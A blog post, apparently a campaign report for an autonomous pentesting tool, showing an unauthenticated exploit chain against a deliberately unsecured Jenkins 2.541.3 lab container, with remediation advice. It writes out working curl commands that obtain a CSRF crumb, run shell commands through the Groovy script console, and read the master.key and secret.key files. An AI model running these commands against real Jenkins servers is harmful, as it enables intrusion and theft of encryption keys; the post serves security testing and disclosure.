Blog

Jenkins with security disabled: unauthenticated script console RCE, proven end to end

A Jenkins 2.541.3 controller running with SecurityRealm None. An autonomous agent went from anonymous HTTP to code execution on the controller and exfiltrated the master encryption key. Three findings, all critical, all exploited.

· 5 min read

The Groovy script console is the single most valuable endpoint on a Jenkins controller. It runs arbitrary code in the controller JVM, as the controller user, with access to the credential store. It is also one setting away from being anonymous, because a Jenkins started with the setup wizard disabled and no security realm treats every visitor as a fully authorised administrator.

We stood up exactly that: Jenkins 2.541.3 in a container, security disabled, listening on 127.0.0.1:8080. Then we pointed Darkmoon at it and let it run. This post is the campaign report, not a demo script. Every command below is copied from the report the run produced.

What the agent found

The jenkins specialist agent was dispatched on the fingerprint, ran its playbook, and pushed three findings. All three are critical and all three are marked exploited, meaning the agent produced the effect rather than inferring it from a banner.

SeverityCount
Critical3
High0
Medium0
Low0
Total3
  • Unauthenticated full administrative access to the controller (T1190). The security realm is hudson.security.SecurityRealm$None and the authorisation strategy is hudson.security.AuthorizationStrategy$Unsecured.
  • Unauthenticated remote code execution via the Groovy script console (T1059.007).
  • Master encryption key and secret key exfiltrated through that console (T1552.001).

Chain one: proving the anonymous user is an administrator

The agent started with two read-only calls. This is the part a scanner also does, and it matters because it turns a configuration value into a statement about identity.

curl -sS --max-time 15 "http://127.0.0.1:8080/api/json?pretty=true"
curl -sS --max-time 15 "http://127.0.0.1:8080/whoAmI/api/json?pretty=true"

The responses recorded in the report:

/api/json  -> "useSecurity" : false
/whoAmI    -> {"anonymous":true,"authenticated":true,
               "authorities":["anonymous"],"name":"anonymous"}

config.xml -> <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
config.xml -> <securityRealm class="hudson.security.SecurityRealm$None"/>
JAVA_OPTS  -> -Djenkins.install.runSetupWizard=false

The interesting field is authenticated: true on an anonymous principal. Jenkins is not rejecting the visitor and falling back to a guest view; it considers the visitor logged in with full authorities. The setup wizard, which is what normally forces an administrator to choose a security realm on first launch, was explicitly skipped by an environment variable.

Chain two: from that state to code execution

Jenkins still enforces CSRF crumbs even with security disabled, so the agent issued a crumb, kept the session cookie, and posted to /scriptText:

COOKIEJAR=/tmp/jenkins_cookies.txt; rm -f $COOKIEJAR
CRUMB=$(curl -sS --max-time 10 -c $COOKIEJAR \
  "http://127.0.0.1:8080/crumbIssuer/api/json" | jq -r ".crumb")

curl -sS --max-time 15 -b $COOKIEJAR -H "Jenkins-Crumb: $CRUMB" \
  --data-urlencode 'script=println "id".execute().text' \
  "http://127.0.0.1:8080/scriptText"
HTTP/1.1 200 OK
Server: Jetty(12.1.5)
Content-Type: text/plain;charset=utf-8

uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

The report also records whoami returning jenkins, hostname returning the container id 2ab63d87d5d7, and the OS release as Debian GNU/Linux 13 (trixie), with process 1 being /usr/bin/tini -- /usr/local/bin/jenkins.sh. That last line is how the agent concluded it was inside a container rather than on a host, which changes what the finding means for an operator.

Chain three: the keys

A controller compromise is worth as much as the credential store it protects. The agent read the two files Jenkins uses to protect that store:

curl -sS -b $CJ -H "Jenkins-Crumb: $CR" \
  --data-urlencode 'script=println(new File(Jenkins.instance.rootDir, "secrets/master.key").text)' \
  "http://127.0.0.1:8080/scriptText"

curl -sS -b $CJ -H "Jenkins-Crumb: $CR" \
  --data-urlencode 'script=println(new File("/var/jenkins_home/secret.key").text)' \
  "http://127.0.0.1:8080/scriptText"

Both returned their contents. The report stores them in full; we are not reprinting a 256 byte key here, and the secrets directory listing it captured was jenkins.model.Jenkins.crumbSalt, hudson.model.User.DIRNAMES, master.key and jenkins.security.csp.ReportingContext.key.

Where the agent stopped short

The report records one more line under that finding: hudson.util.Secret: NOT PRESENT (no credentials plugin installed). With the master key in hand, the obvious next claim would be that every stored credential is now decryptable. On this instance there were none to decrypt, so the finding says the keys were exfiltrated and stops there. The impact of a master key leak is real, but it is not the same sentence as a credential dump, and the report does not blur the two.

Remediation, as the report states it

  • Enable security: set the security realm to HudsonPrivateSecurityRealm or LDAP, and the authorisation strategy to FullControlOnceLoggedInAuthorizationStrategy or matrix based.
  • Remove -Djenkins.install.runSetupWizard=false from JAVA_OPTS, and create a real admin account.
  • Restrict anonymous access and put Jenkins behind an authenticating reverse proxy.
  • Restrict network access to port 8080 and to the JNLP agent port 50000.
  • Treat the master key and secret key as compromised: rotate them and re-enter every stored credential, because a leaked master key stays useful long after the console is closed.

A note on how this report was produced

The Jenkins campaign is one of the runs where our own tooling misbehaved, and the report says so on its first page: the compiled server side generator could not serve this campaign because of a stale reconciler bug that flips a long running campaign to stopped before finalisation completes. The document was assembled from the agent's pushed findings instead, with the same schema and the same per-finding evidence. We publish that caveat rather than quietly regenerate a cleaner artefact.

What this proves about autonomous pentesting

Nothing here is a novel technique. An experienced tester finds a wide open Jenkins in minutes. What the run demonstrates is that an autonomous agent can carry a chain across three different mechanisms, the API, the CSRF crumb issuer and the script console, and produce the raw response for each step, which is the part that makes a finding auditable. The output is not a model asserting that Jenkins looks insecure. It is uid=1000(jenkins) returned by the target.

Darkmoon is open source under GPL-3.0. If you want to reproduce this, run a throwaway Jenkins with the setup wizard disabled and point a campaign at it: the repository and the documentation cover the setup.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.